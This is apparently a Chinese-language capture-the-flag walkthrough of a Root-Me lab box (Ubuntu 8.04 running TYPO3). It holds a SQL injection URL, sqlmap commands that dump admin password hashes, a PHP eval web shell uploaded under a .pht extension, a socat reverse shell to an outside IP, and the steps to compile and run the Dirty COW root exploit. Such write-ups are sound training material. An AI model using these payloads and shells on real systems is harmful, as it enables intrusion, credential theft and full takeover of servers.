[rootme:ctf all the day]Ubuntu 8.04week wp
知识点
- sqlmap常用参数介绍
- python sqlmap.py -u url :对第一个参数进行验证
- python sqlmap.py -r 文件路径 -p 指定测试注入点
- python sqlmap.py -u url -p -dump--all :完全脱库
- 参考文章:SQLMap 使用参数详解_sqlmap参数-CSDN博客
- 反弹交互式shell
- 参考文章:实现交互式shell的几种方式:python pty 方式、升级nc、socat、script获取pty-腾讯云开发者社区-腾讯云
- 提权
- 提权参考文章
- Linux常用六种提权方式-CSDN博客
- 提权总结以及各种利用姿势 - linuxsec - 博客园
- suid提权(拥有suid权限的文件执行时使用文件所有者的权限而不是当前用户的权限)
- 常用find,less,more等
- find / -perm -4000 -type f 2>/dev/null
- 查找拥有suid权限的文件
- find "存在文件" -exec "whoami" \;
- find / -perm -4000 -type f 2>/dev/null
- 参考文章:Linux提权之SUID提权 - 小阿辉谈安全 - 博客园
- 常用find,less,more等
- 内核提权
-
uname -a
-
查看内核版本信息
-
-
lsb_release -a
-
查看发行版本信息
-
-
searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6
-
查找指定版本内核提权漏洞信息
-
参考文章:searchsploit漏洞查找工具使用指南(exploit-db.com 离线工具 exploitdb)_searchsploit安装-CSDN博客
-
-
参考文章:Linux提权第一篇-Linux内核漏洞提权(以CVE-2015-1328为例)-CSDN博客
-
-
脏牛提权
-
参考文章:脏牛提权复现以及如何得到一个完全交互的shell-先知社区
-
参考文章:
漏洞复现- - -CVE-2016-5195 Dirty Cow脏牛提权漏洞-腾讯云开发者社区-腾讯云 - 该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞, 导致可以破坏私有只读内存映射。黑客可以在获取低权限的的本地用户后,利用此漏洞获取 其他只读内存映射的写权限,进一步获取 root 权限
- 漏洞影响系统
-
Centos7/RHEL7 3.10.0-327.36.3.el7 Cetnos6/RHEL6 2.6.32-642.6.2.el6 Ubuntu 16.10 4.8.0-26.28 Ubuntu 16.04 4.4.0-45.66 Ubuntu 14.04 3.13.0-100.147 Debian 8 3.16.36-1+deb8u2 Debian 7 3.2.82-1
-
漏洞影响版本:kernal > 2.6.22
-
-
修复方法
-
升级系统和内核到安全版本
-
1. Ubuntu 12.04 LTS (3.2.0-113.155)2. Ubuntu 14.04 LTS (3.13.0-100.147)3. Ubuntu 16.04 LTS (4.4.0-45.66)4. Ubuntu 16.10 (4.8.0-26.28)5. Debian wheezy (3.2.82-1)6. Debian jessie (3.16.36-1+deb8u2)7. Debian sid (4.7.8-1)
-
-
官网下载补丁安装
-
参考文章:无需重启,修复横扫Linux系统的脏牛本地提权漏洞 (CVE-2016-5195)
-
-
- 提权参考文章
环境配置
- 在rootme官网注册并登录账号:https://www.root-me.org/
- 进入页面,选择左边第一个 夺旗--》ctf all the day :https://www.root-me.org/fr/Capture-The-Flag/CTF-all-the-day/
- 进入页面可一个看到该游戏的基本规则介绍
- 下面有若干房间,选一个空房间进入
- 选择一个你要渗透的系统并投票标记
- 选好后点击开始游戏等待虚拟环境搭建完成;成功后返回一个可访问的url
- 800分钟时长,该房间有人提交验证信息或者时长结束就销毁系统
- 中途可以有其他玩家进入该房间加入游戏,若有房间开始了你想渗透的系统,你可以直接加入游戏而不用开一个新房间
- 我要选Ubuntu 8.04week系统的,刚好有一个房间开了
- 进入房间1,点击加入游戏
- 提示了flag在/passwd中
- 环境配置完成,访问给定的网址:ctf01.root-me.org
渗透思路
访问url得到了一个index界面,通过F12查看源码以及wappalyzer插件发现了该网站使用了TYPO3 4.2版本CMS,php 5.2.4 ,操作系统:ubuntu ,中间件:apacha 2.2.8
搜索了一下TYPO3 4.2版本的历史漏洞发现不能利用,需要进入后台才行
通过点击页面上的两个连接,发现Members链接类似出现了id和uid,而且有成员的返回信息到页面前端,猜测这里存在sql注入
首先通过order by成功得到了字段数为4;通过测试发现这里存在联合注入,那么构造payload:
http://ctf01.root-me.org/index.php?id=4&uid=2+union+select+schema(),version(),@@datadir,4--+读取当前数据库名:typo3
版本信息:5.0.5
数据库路径: /var/lib/mysql/
已知数据库为mysql 5.0以上,接下来就可以读取数据库信息,我这里使用了sqlmap工具来帮我
使用参考文章:SQLMap 使用参数详解_sqlmap参数-CSDN博客
默认-u 参数只会识别并判定第一个参数为注入点,这里需要使用-r参数
先在桌面上创建一个666.txt文件,将页面请求数据复制粘贴到里面
GET /index.php?id=4&uid=1 HTTP/1.1
Host: ctf01.root-me.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://ctf01.root-me.org/index.php?id=4&uid=2+union+select+schema(),version(),@@datadir,4--+
Cookie: _ga_SRYSKX09J7=GS1.1.1709561861.4.1.1709566695.0.0.0; _ga=GA1.1.339742383.1709475530; fe_typo_user=33929c6bbf793667235b3e6385baed25
Upgrade-Insecure-Requests: 1
Priority: u=0, i
使用命令:检测uid参数是否存在注入漏洞(存在)
python sqlmap.py -r C:\Users\17567\Desktop\666.txt -p uid
由于之前已经知道了当前数据库名为typo3;所以直接读取该数据库下的所有表名
构造payload;
python sqlmap.py -r C:\Users\17567\Desktop\666.txt -p uid -D "typo3" --tables成功获取到了该数据库下的所有表;其中有两个users表,be_users和fe_users
接下来读取be_users的字段信息
构造payload:
python sqlmap.py -r C:\Users\17567\Desktop\666.txt -p uid -D "typo3" -T "be_users" --columns发现了有username和password字段
读取数据信息
构造payload:
python sqlmap.py -r C:\Users\17567\Desktop\666.txt -p uid -D "typo3" -T "be_users" -C "username","password" --dump成功得到了用户名和密码admin 3f76fae8f05fe76f5d74bdff0463ad7c (bhunji) member1 c7764cfed23c5ca3bb393308a0da2306 (member1) member2 88ed421f060aadcacbd63f28d889797f (member2)后面测试发现这是后端登录使用的账户密码
其实可以直接脱库到本地,但是时间耗费太长,没必要
通过select @@secure_file_priv查看设置发现无回显,不知道是没设置还是不让访问
直接尝试getshell试一下
python sqlmap.py -r C:\Users\17567\Desktop\666.txt -p uid --os-shell中途验证一律yes
发现没有写权限,无法getshell
那这就没办法了,前面得到了一些用户名和密码,接下来尝试找一下登录页面吧
使用dirsearch工具扫描一下目录
python dirsearch.py -u http://ctf01.root-me.org
[16:52:13] 200 - 46B - /clear
[16:52:19] 200 - 927B - /content/
[16:52:19] 301 - 364B - /content -> http://ctf01.root-me.org/content/
[16:52:22] 200 - 390KB - /ChangeLog
[16:52:28] 403 - 333B - /doc/api/
[16:52:28] 403 - 343B - /doc/stable.version
[16:52:28] 403 - 344B - /doc/html/index.html
[16:52:28] 403 - 344B - /doc/en/changes.html
[16:52:28] 403 - 329B - /doc/
[16:52:38] 200 - 147B - /fileadmin/_temp_/
[16:52:38] 200 - 1KB - /fileadmin/
[16:52:38] 200 - 959B - /fileadmin/user_upload/
[16:52:38] 301 - 366B - /fileadmin -> http://ctf01.root-me.org/fileadmin/
[16:52:51] 302 - 0B - /index.php/login/ -> http://ctf01.root-me.org/index.php?id=1&type=0
[16:52:53] 200 - 20KB - /INSTALL
[16:52:54] 200 - 20KB - /INSTALL.txt
[16:53:00] 200 - 843B - /LICENSE.txt
[16:53:00] 200 - 843B - /LICENSE
[16:53:12] 301 - 361B - /misc -> http://ctf01.root-me.org/misc/
[16:53:41] 200 - 8KB - /README
[16:53:42] 200 - 8KB - /README.txt
[16:53:42] 200 - 241B - /RELEASE_NOTES.txt
[16:53:54] 403 - 338B - /server-status
[16:53:54] 403 - 339B - /server-status/
[16:54:12] 200 - 298B - /typo3/
[16:54:13] 301 - 362B - /typo3 -> http://ctf01.root-me.org/typo3/
[16:54:13] 200 - 5KB - /typo3temp/
[16:54:15] 200 - 149B - /uploads/
[16:54:15] 301 - 364B - /uploads -> http://ctf01.root-me.org/uploads/
通过测试发现/typo3/目录是一个后台登录界面
通过之前的账户密码成功登录 admin :bhunji
进入界面通过点击发现了有一个文件列表的位置可以进行文件上传
尝试上传php文件发现这里对php文件后缀进行了黑名单过滤,直接用bp对后缀名进行爆破发现.pht文件后缀可以成功上传并解析(爆破过程不再截图),直接上传991.pht
内容如下:991.pht
<?php @eval($_POST['cmd']);phpinfo();?>
通过哥斯拉进行连接(哥斯拉功能更多)
右击进入,选择命令执行窗口
whoami
当前用户为www-data
/passwd文件为root用户才能访问
www-data 用户没有权限访问
接下来就是需要进行提权了
上传linux-exploit-suggester.sh
该脚本可以检测当前系统存在哪些漏洞并提供poc利用源执行该脚本提示bash版本不支持
bash -v 发现目标系统使用3.8的,但是该脚本执行使用bash>4.0
那就没办法了,只能慢慢推了
先看一下suid文件有哪些
find / -perm -4000 -type f 2>/dev/null结果:
/lib/dhcp3-client/call-dhclient-script
/var/www/weak_suid/weak
/var/run/system-tools-backends.pid
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
/bin/su
/bin/ping6
/usr/sbin/pppd
/usr/sbin/uuidd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/apache2/suexec
/usr/lib/policykit/polkit-grant-helper-pam
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/pt_chown
/usr/bin/sudoedit
/usr/bin/lppasswd
/usr/bin/newgrp
/usr/bin/mtr
/usr/bin/pulseaudio
/usr/bin/sudo
/usr/bin/arping
/usr/bin/traceroute6.iputils
/usr/bin/X
/usr/bin/passwd
/usr/bin/at
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/chfn
没有常用的suid提权参数
尝试进行内核提权吧,这里使用了SearchSploit工具
参考文章:Linux提权第一篇-Linux内核漏洞提权(以CVE-2015-1328为例)-CSDN博客
uname -a
获取内核版本信息:
Linux victime-laptop 2.6.24-26-generic #1 SMP Tue Dec 1 18:37:31 UTC 2009 i686 GNU/Linuxlsb_release -a
获取发行版本信息
Distributor ID: Ubuntu
Description: Ubuntu 8.04.4 LTS
Release: 8.04
Codename: hardy
kali自带searchsploit工具
如果没有,他会提示你安装,按提示安装就行了searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6查询linux下内核版本为2.6的可用提权poc
根据返回结果描述选择合适的exp系统内核版本为2.6.24;这里我选的是(通过测试这个是可以提权成功的,其他很多都不太行)
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method) | linux/local/40839.c
searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6执行结果如下:
Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23/24/25) - 'ldso_dynamic Stack Clash' Local Privilege Escalation | linux_x86/local/42276.c
Linux Kernel 2.2.25/2.4.24/2.6.2 - 'mremap()' Local Privilege Escalation | linux/local/160.c
Linux Kernel 2.2.x/2.4.x - Privileged Process Hijacking Privilege Escalation (1) | linux/local/22362.c
Linux Kernel 2.2.x/2.4.x - Privileged Process Hijacking Privilege Escalation (2) | linux/local/22363.c
Linux Kernel 2.4.1 < 2.4.37 / 2.6.1 < 2.6.32-rc5 - 'pipe.c' Local Privilege Escalation (3) | linux/local/9844.py
Linux Kernel 2.4.23/2.6.0 - 'do_mremap()' Bound Checking Privilege Escalation | linux/local/145.c
Linux Kernel 2.4.30/2.6.11.5 - BlueTooth 'bluez_sock_create' Local Privilege Escalation | linux/local/25289.c
Linux Kernel 2.4.4 < 2.4.37.4 / 2.6.0 < 2.6.30.4 - 'Sendpage' Local Privilege Escalation (Metasploit) | linux/local/19933.rb
Linux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / RHEL 4.8/5.3 / SuSE 10 SP2/11 / Ubuntu 8.10) (PPC) - 'sock_sendpage()' Local Privilege Escalation | linux/local/9545.c
Linux Kernel 2.4.x/2.6.x - 'Bluez' BlueTooth Signed Buffer Index Privilege Escalation (2) | linux/local/926.c
Linux Kernel 2.4.x/2.6.x - 'uselib()' Local Privilege Escalation (3) | linux/local/895.c
Linux Kernel 2.4.x/2.6.x - BlueTooth Signed Buffer Index Privilege Escalation (1) | linux/local/25288.c
Linux Kernel 2.4/2.6 (Fedora 11) - 'sock_sendpage()' Local Privilege Escalation (2) | linux/local/9598.txt
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4 / CentOS 4) - 'sock_sendpage()' Ring0 Privilege Escalation (5) | linux/local/9479.c
Linux Kernel 2.4/2.6 (x86-64) - System Call Emulation Privilege Escalation | linux_x86-64/local/4460.c
Linux Kernel 2.4/2.6 - 'sock_sendpage()' Local Privilege Escalation (3) | linux/local/9641.txt
Linux Kernel 2.6 (Debian 4.0 / Ubuntu / Gentoo) UDEV < 1.4.1 - Local Privilege Escalation (1) | linux/local/8478.sh
Linux Kernel 2.6 (Gentoo / Ubuntu 8.10/9.04) UDEV < 1.4.1 - Local Privilege Escalation (2) | linux/local/8572.c
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privilege Escalation (1) | linux_x86/local/9542.c
Linux Kernel 2.6.0 < 2.6.31 - 'pipe.c' Local Privilege Escalation (1) | linux/local/33321.c
Linux Kernel 2.6.10 < 2.6.31.5 - 'pipe.c' Local Privilege Escalation | linux/local/40812.c
Linux Kernel 2.6.13 < 2.6.17.4 - 'logrotate prctl()' Local Privilege Escalation | linux/local/2031.c
Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation (1) | linux/local/2004.c
Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation (2) | linux/local/2005.c
Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation (3) | linux/local/2006.c
Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation (4) | linux/local/2011.sh
Linux Kernel 2.6.17 - 'Sys_Tee' Local Privilege Escalation | linux/local/29714.txt
Linux Kernel 2.6.17 < 2.6.24.1 - 'vmsplice' Local Privilege Escalation (2) | linux/local/5092.c
Linux Kernel 2.6.17.4 - 'proc' Local Privilege Escalation | linux/local/2013.c
Linux Kernel 2.6.18 < 2.6.18-20 - Local Privilege Escalation | linux/local/10613.c
Linux Kernel 2.6.19 < 5.9 - 'Netfilter Local Privilege Escalation | linux/local/50135.c
Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (SUID Method) | linux/local/40616.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (/etc/passwd Method) | linux/local/40847.cpp
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method) | linux/local/40839.c
Linux Kernel 2.6.23 < 2.6.24 - 'vmsplice' Local Privilege Escalation (1) | linux/local/5093.c
Linux Kernel 2.6.24_16-23/2.6.27_7-10/2.6.28.3 (Ubuntu 8.04/8.10 / Fedora Core 10 x86-64) - 'set_selection()' UTF-8 Off-by-One Privilege Escalation | linux_x86-64/local/9083.c
Linux Kernel 2.6.27 < 2.6.36 (RedHat x86-64) - 'compat' Local Privilege Escalation | linux_x86-64/local/15024.c
Linux Kernel 2.6.28/3.0 (DEC Alpha Linux) - Local Privilege Escalation | linux/local/17391.c
Linux Kernel 2.6.29 - 'ptrace_attach()' Race Condition Privilege Escalation | linux/local/8678.c
Linux Kernel 2.6.30 < 2.6.30.1 / SELinux (RHEL 5) - Local Privilege Escalation | linux/local/9191.txt
Linux Kernel 2.6.32 (Ubuntu 10.04) - '/proc' Handling SUID Privilege Escalation | linux/local/41770.txt
Linux Kernel 2.6.32 - 'pipe.c' Local Privilege Escalation (4) | linux/local/10018.sh
Linux Kernel 2.6.32 < 3.x (CentOS 5/6) - 'PERF_EVENTS' Local Privilege Escalation (1) | linux/local/25444.c
Linux Kernel 2.6.36-rc8 - 'RDS Protocol' Local Privilege Escalation | linux/local/15285.c
Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04) - 'Full-Nelson.c' Local Privilege Escalation | linux/local/15704.c
Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64) - 'Mempodipper' Local Privilege Escalation (1) | linux/local/18411.c
Linux Kernel 2.6.39 < 3.2.2 (x86/x64) - 'Mempodipper' Local Privilege Escalation (2) | linux/local/35161.c
Linux Kernel 2.6.9 < 2.6.11 (RHEL 4) - 'SYS_EPoll_Wait' Local Integer Overflow / Local Privilege Escalation | linux/local/1397.c
Linux Kernel 2.6.x (Gentoo 2.6.29rc1) - 'ptrace_attach' Local Privilege Escalation | linux/local/8673.c
Linux Kernel 2.6.x - 'pipe.c' Local Privilege Escalation (2) | linux/local/33322.c
Linux Kernel 2.6.x - 'SYS_EPoll_Wait' Local Integer Overflow / Local Privilege Escalation (1) | linux/local/25202.c
Linux Kernel 2.6.x - Ext4 'move extents' ioctl Privilege Escalation | linux/local/33395.txt
Linux Kernel 2.6.x - Ptrace Privilege Escalation | linux/local/30604.c
Linux Kernel 2.6.x / 3.10.x / 4.14.x (RedHat / Debian / CentOS) (x64) - 'Mutagen Astronomy' Local Privilege Escalation | linux_x86-64/local/45516.c
Linux Kernel < 2.6.11.5 - BlueTooth Stack Privilege Escalation | linux/local/4756.c
Linux Kernel < 2.6.19 (Debian 4) - 'udp_sendmsg' Local Privilege Escalation (3) | linux/local/9575.c
Linux Kernel < 2.6.19 (x86/x64) - 'udp_sendmsg' Local Privilege Escalation (2) | linux/local/9574.txt
Linux Kernel < 2.6.22 - 'ftruncate()'/'open()' Local Privilege Escalation | linux/local/6851.c
Linux Kernel < 2.6.28 - 'fasync_helper()' Local Privilege Escalation | linux/local/33523.c
Linux Kernel < 2.6.29 - 'exit_notify()' Local Privilege Escalation | linux/local/8369.sh
Linux Kernel < 2.6.34 (Ubuntu 10.10 x86) - 'CAP_SYS_ADMIN' Local Privilege Escalation (1) | linux_x86/local/15916.c
Linux Kernel < 2.6.34 (Ubuntu 10.10 x86/x64) - 'CAP_SYS_ADMIN' Local Privilege Escalation (2) | linux/local/15944.c
Linux Kernel < 2.6.36-rc1 (Ubuntu 10.04 / 2.6.32) - 'CAN BCM' Local Privilege Escalation | linux/local/14814.c
Linux Kernel < 2.6.36-rc4-git2 (x86-64) - 'ia32syscall' Emulation Privilege Escalation | linux_x86-64/local/15023.c
Linux Kernel < 2.6.36.2 (Ubuntu 10.04) - 'Half-Nelson.c' Econet Privilege Escalation | linux/local/17787.c
Linux Kernel < 2.6.37-rc2 - 'ACPI custom_method' Local Privilege Escalation | linux/local/15774.c
Linux Kernel < 2.6.7-rc3 (Slackware 9.1 / Debian 3.0) - 'sys_chown()' Group Ownership Alteration Privilege Escalation | linux/local/718.c
ReiserFS (Linux Kernel 2.6.34-rc3 / RedHat / Ubuntu 9.10) - 'xattr' Local Privilege Escalation | linux/local/12130.py
Samba 2.2.8 (Linux Kernel 2.6 / Debian / Mandrake) - Share Privilege Escalation | linux/local/23674.txt
root@VM-24-6-ubuntu:~#
locate linux/local/40839.c输出文件的绝对路径
有了绝对路径,下载该poc到本地,然后通过哥斯拉上传到目标服务器上
成功上传后,双击该文件进行修改,在文件最后加上一个空行,即输入回车就行了,要不然文件编译时会报错,修改后点击保存
通过查看该poc的提示信息
// 使用下面命令对文件进行编译
// gcc -pthread dirty.c -o dirty -lcrypt//编译成功后执行时后面加上设置的新密码
// Then run the newly create binary by either doing:
// "./dirty" or "./dirty my-new-password"//执行完成后会生成一个firefart的root用户,/etc/passwd原文件信息备份到了/tmp/passwd.bak中
//现在是生成了一个firefart用户为root权限用户的/etc/passwd文件进行替换了
//
//进行su firefart切换到该用户后// Afterwards, you can either "su firefart" or "ssh firefart@..."
//需要进行还原root用户,即将原/etc/passwd信息替换回来
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
// mv /tmp/passwd.bak /etc/passwd
//如果不进行还原,服务器可能会崩坏
该漏洞利用流程:
1.编译
gcc -pthread 40839.c -o dirty -lcrypt2.执行(默认生成firefart用户为root权限)
./dirty 1233.切换到root权限用户(su命令需要实时交互的终端才能执行:(检测方法)tty命令执行有回显)
su firefart4.还原root用户
mv /tmp/passwd.bak /etc/passwd
执行tty发现哥斯拉连接生成的命令执行终端只是普通的命令执行串口,并非shell
接下来还需要反弹一个有交互性的shell
参考文章:https://cloud.tencent.com/developer/article/2130066
常用的几种产生交互式shell的方式:
python pty 方式、升级nc、socat、script获取pty
通过测试发现该系统能使用的只有socat了,但是需要上传一个socat工具
socat获取地址:https://github.com/3ndG4me/socat
通过哥斯拉上传到/tmp文件夹下
安装和执行
unzip socat-master.zipcd socat-master
./configure
make
//编译成功后会生成一个socat执行文件反弹一个交互式终端:需要一台公网服务器,开放指定端口
执行反弹shell:服务器开启监听8989端口:nc -lvp 8989目标机执行:./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:106.53.46.131:8989
通过上述操作成功反弹了一个交互式终端
好了,一些准备操作都完成了,接下来开始利用漏洞进行提权了
编译漏洞文件:gcc -pthread 40839.c -o dirty -lcrypt
2. 执行漏洞exp :./dirty 123
3.切换到firefart用户:su firefart
4.还原root用户 :mv /tmp/passwd.bak /etc/passwd
通过执行exp成功切换到了firefart用户,并且读取了/passwd文件的内容:8127b73c79c7f48de9f137d403517db0
注:该服务器最后执行脏牛提权时服务器容易崩溃,可能会卡住需要重新开启游戏,执行./dirty后等一会儿尝试切换用户,然后直接读取/passwd文件内容,执行dirty脚本和su命令尽量分开,哥斯拉命令端执行提权脚本,反弹的shell端执行su命令,这样不会造成界面卡住,这个提权尝试了N多次才成功,切换用户成功后一定要快速读取/passwd文件内容,要不然过一会儿可能又给卡挂掉了,服务器太容易崩溃了
10